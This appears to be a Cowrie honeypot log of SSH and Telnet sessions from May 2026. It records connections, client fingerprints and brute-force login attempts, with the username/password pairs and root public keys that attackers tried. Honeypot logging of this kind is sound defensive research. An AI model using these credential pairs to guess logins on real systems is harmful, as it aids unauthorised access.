{"eventid":"cowrie.login.failed","username":"admin","password":"omegaman","message":"login attempt [admin/omegaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:23.150327Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:23.655968Z","src_ip":"138.124.158.150","session":"a77af6a5532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:23.836838Z","src_ip":"138.124.158.150","session":"994e50dd63a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:23.844499Z","src_ip":"138.124.158.150","session":"a77af6a5532f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:24.257727Z","src_ip":"2.57.121.112","session":"21770d75016c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30511,"dst_ip":"10.17.0.5","dst_port":23,"session":"942f79347fb3","protocol":"telnet","message":"New connection: 212.55.149.117:30511 (10.17.0.5:23) [session: 942f79347fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:32.933139Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.41.96","src_port":43160,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba90ba867747","protocol":"telnet","message":"New connection: 166.62.41.96:43160 (159.203.135.109:23) [session: ba90ba867747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:46.545275Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":53294,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd92847db20","protocol":"ssh","message":"New connection: 87.106.29.151:53294 (10.17.0.5:22) [session: 7cd92847db20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:57.884767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:57.889733Z","src_ip":"87.106.29.151","session":"7cd92847db20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:57.984736Z","src_ip":"87.106.29.151","session":"7cd92847db20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssword","message":"login attempt [ubuntu/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:58.386680Z","src_ip":"87.106.29.151","session":"7cd92847db20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:02:59.485137Z","src_ip":"87.106.29.151","session":"7cd92847db20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":27525,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a4cba24b4e","protocol":"ssh","message":"New connection: 2.57.121.25:27525 (10.17.0.5:22) [session: e3a4cba24b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:02.207755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:02.213193Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:02.315976Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140986","message":"login attempt [user/140986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:02.791563Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140690","message":"login attempt [user/140690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:03.895724Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.75.182","src_port":54110,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8536835d7b9","protocol":"ssh","message":"New connection: 103.193.75.182:54110 (10.17.0.5:22) [session: e8536835d7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:04.024097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:04.033455Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:04.235053Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140586","message":"login attempt [user/140586] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:04.998539Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:81:59:17:f2:8d:0d:22:a0:5f:4c:93:49:3b:7f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaQOYKeOe1DkT2m8lVNlVfPBsD3g8WG9Y0dEvCpw7VE4ZDlxiwLMpjZI8QFjpHS1kv0n21dxid+DPIUei4ACu4FXxwM3EHT3C2ry4pSA2V8oURMEP/wp7UINEotrPeVO0RVPeoep5q4ehVvyOx1NCOHBg95/8KviqgwYYIiLG6tednDVJxfhgxYTFM2bwZXzG8ugkD6xzOfZfZ1YK0NUqGDsUhBv+fX8lnlSnlysEHzs1WzwNbKi3hCtIftg+toF4vVN4OuKnTzaGycuvJ6Htenf+s0jDOEN28/7pOWpuaWHUIMGeYsw4sMWKxBK0/N9AVhelFVQfxPe6o3/lya4s5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:81:59:17:f2:8d:0d:22:a0:5f:4c:93:49:3b:7f:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.216634Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:81:59:17:f2:8d:0d:22:a0:5f:4c:93:49:3b:7f:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaQOYKeOe1DkT2m8lVNlVfPBsD3g8WG9Y0dEvCpw7VE4ZDlxiwLMpjZI8QFjpHS1kv0n21dxid+DPIUei4ACu4FXxwM3EHT3C2ry4pSA2V8oURMEP/wp7UINEotrPeVO0RVPeoep5q4ehVvyOx1NCOHBg95/8KviqgwYYIiLG6tednDVJxfhgxYTFM2bwZXzG8ugkD6xzOfZfZ1YK0NUqGDsUhBv+fX8lnlSnlysEHzs1WzwNbKi3hCtIftg+toF4vVN4OuKnTzaGycuvJ6Htenf+s0jDOEN28/7pOWpuaWHUIMGeYsw4sMWKxBK0/N9AVhelFVQfxPe6o3/lya4s5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.221300Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:fe:fc:83:ae:c2:71:d3:c7:5e:ad:81:89:e4:dc:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz95VUsKa7yeA3AZdaRQhjfcCJXQ95QI/ndW0UlUngK5UaynyGaV/eqVz66kB+8T38mcTcQ/ENVR+rEfb0wE5UYPQm0jtGtpHXtTOfl++pFnZJDLQkJbI8VbR+1TLrD+Igh8stbPH+h9gocLcLkrwWqpn3mteLXfx4EMCnf6L6X0xAjMjBY5zPfssncGZJN8Z5P6VE5aQSDCO70wW8PJhIOazzUYgUnbwDoZcgPxexQ/DwfrFcEWjnNJYTNu5bkm0CMEa0gE1Q9jJfrkeqo9OUNTlbr23B2YwUnP+Zzwkgk64Da2DlA+BnGSRrha8FMVHFOs4P8ImME9hFJayokRo3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:fe:fc:83:ae:c2:71:d3:c7:5e:ad:81:89:e4:dc:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.423410Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:fe:fc:83:ae:c2:71:d3:c7:5e:ad:81:89:e4:dc:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz95VUsKa7yeA3AZdaRQhjfcCJXQ95QI/ndW0UlUngK5UaynyGaV/eqVz66kB+8T38mcTcQ/ENVR+rEfb0wE5UYPQm0jtGtpHXtTOfl++pFnZJDLQkJbI8VbR+1TLrD+Igh8stbPH+h9gocLcLkrwWqpn3mteLXfx4EMCnf6L6X0xAjMjBY5zPfssncGZJN8Z5P6VE5aQSDCO70wW8PJhIOazzUYgUnbwDoZcgPxexQ/DwfrFcEWjnNJYTNu5bkm0CMEa0gE1Q9jJfrkeqo9OUNTlbr23B2YwUnP+Zzwkgk64Da2DlA+BnGSRrha8FMVHFOs4P8ImME9hFJayokRo3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.427673Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:fc:ea:5b:f3:07:ae:c8:e3:94:82:d0:d6:ea:7b:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3s9Qjr1fcBRjqtaWE9rgysu0NwL1aFC+rdpI70Ow/6vGsYJVT+3mJ4TTAwAdjRmDdqKwIxMC0qFMCXxcs4oFGZiQrDJo9I3pF4MVDwC0VX5/9Fyy/GSXbna5ktPYMvVqhqPSUqPaaCFaZ2HyQAlfWeACEnJna96oWjzWu5ktuy9cQBGJHhTs1QW1Ct0qeHwNBGURDo8jrGR4PYGHxTPeEBXs+4vBh2fpOEDZbYGOWo2jRIFAv6HB8zkx2iPwx1SpoGlL1R7EPYNDTh9/2WBIUY25BDW2Kl2p4g/tY2ETfrdLF2MiUMbOyV0jaM1Lq+V/UsIu54YAOk1xe5ROcgHS4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:fc:ea:5b:f3:07:ae:c8:e3:94:82:d0:d6:ea:7b:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.629927Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:fc:ea:5b:f3:07:ae:c8:e3:94:82:d0:d6:ea:7b:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3s9Qjr1fcBRjqtaWE9rgysu0NwL1aFC+rdpI70Ow/6vGsYJVT+3mJ4TTAwAdjRmDdqKwIxMC0qFMCXxcs4oFGZiQrDJo9I3pF4MVDwC0VX5/9Fyy/GSXbna5ktPYMvVqhqPSUqPaaCFaZ2HyQAlfWeACEnJna96oWjzWu5ktuy9cQBGJHhTs1QW1Ct0qeHwNBGURDo8jrGR4PYGHxTPeEBXs+4vBh2fpOEDZbYGOWo2jRIFAv6HB8zkx2iPwx1SpoGlL1R7EPYNDTh9/2WBIUY25BDW2Kl2p4g/tY2ETfrdLF2MiUMbOyV0jaM1Lq+V/UsIu54YAOk1xe5ROcgHS4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.634108Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:7b:a6:3b:18:f8:1d:b9:8e:5b:dd:6c:4e:ca:df:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbZcRv/68Blo4vNx2ZMz1eDiEEvHziMKkjnlYDLUy2jPYwCZCuqC2g5tyyWTvtKQDv5Cq0b6m3m3qXjFn4B190Eu97SjR0cbRJO6GHGfMBLOG6B/Ftn//r6FsXt6gAXgo+dDaVQbCTIH3aLa4SR1LP1QLui7L0sK6/tN3C8lJwXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:7b:a6:3b:18:f8:1d:b9:8e:5b:dd:6c:4e:ca:df:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.835257Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:7b:a6:3b:18:f8:1d:b9:8e:5b:dd:6c:4e:ca:df:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbZcRv/68Blo4vNx2ZMz1eDiEEvHziMKkjnlYDLUy2jPYwCZCuqC2g5tyyWTvtKQDv5Cq0b6m3m3qXjFn4B190Eu97SjR0cbRJO6GHGfMBLOG6B/Ftn//r6FsXt6gAXgo+dDaVQbCTIH3aLa4SR1LP1QLui7L0sK6/tN3C8lJwXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:05.838987Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:41:43:cf:01:a9:4b:cb:1d:cd:32:04:9d:d2:2a:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMl5jLkZlWdM9RTwVxsWNRMIYMCqhmj+n5pFCmRFBq+kzjzxu8WXmmztAuytOebPn8Xc9ZPuhq9lRhjBL7+OEHuCNhLf5mW6YzTFx8Mo1a5ZOEHjy17/1Z7Pfi9W98CnWscdBAy8pQplXl+PZEGlsemVIJQumqFPe+mt/K9sy76O9P0Oa4DOvaqHzfY+XVgL81ZJYdLeNVWXogLMHqKPgny37ypprWLp4tYyNLilXzZA3uShp+K6IvE1lKaZU9O1ZYceofAHaikmNJ7VSnhfCNLdrx9UzLXFOf+3W0cVPffr0bExl6hiBLN3D7RTDDky4mgtXGSDyHPUu3JXauvQ21","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:41:43:cf:01:a9:4b:cb:1d:cd:32:04:9d:d2:2a:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:06.044332Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:41:43:cf:01:a9:4b:cb:1d:cd:32:04:9d:d2:2a:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMl5jLkZlWdM9RTwVxsWNRMIYMCqhmj+n5pFCmRFBq+kzjzxu8WXmmztAuytOebPn8Xc9ZPuhq9lRhjBL7+OEHuCNhLf5mW6YzTFx8Mo1a5ZOEHjy17/1Z7Pfi9W98CnWscdBAy8pQplXl+PZEGlsemVIJQumqFPe+mt/K9sy76O9P0Oa4DOvaqHzfY+XVgL81ZJYdLeNVWXogLMHqKPgny37ypprWLp4tYyNLilXzZA3uShp+K6IvE1lKaZU9O1ZYceofAHaikmNJ7VSnhfCNLdrx9UzLXFOf+3W0cVPffr0bExl6hiBLN3D7RTDDky4mgtXGSDyHPUu3JXauvQ21","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:06.049884Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140485","message":"login attempt [user/140485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:06.101850Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:06.252115Z","src_ip":"103.193.75.182","session":"e8536835d7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140482","message":"login attempt [user/140482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:07.205101Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:08.308209Z","src_ip":"2.57.121.25","session":"e3a4cba24b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.82.144.240","src_port":44688,"dst_ip":"159.203.135.109","dst_port":22,"session":"0567aa4f1dd1","protocol":"ssh","message":"New connection: 20.82.144.240:44688 (159.203.135.109:22) [session: 0567aa4f1dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:11.382896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:11.388692Z","src_ip":"20.82.144.240","session":"0567aa4f1dd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:11.456609Z","src_ip":"20.82.144.240","session":"0567aa4f1dd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123#abc","message":"login attempt [ubuntu/123#abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:11.757557Z","src_ip":"20.82.144.240","session":"0567aa4f1dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:12.827976Z","src_ip":"20.82.144.240","session":"0567aa4f1dd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.623387813568115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:03:17.168550Z","src_ip":"166.62.41.96","session":"ba90ba867747","protocol":"telnet"}
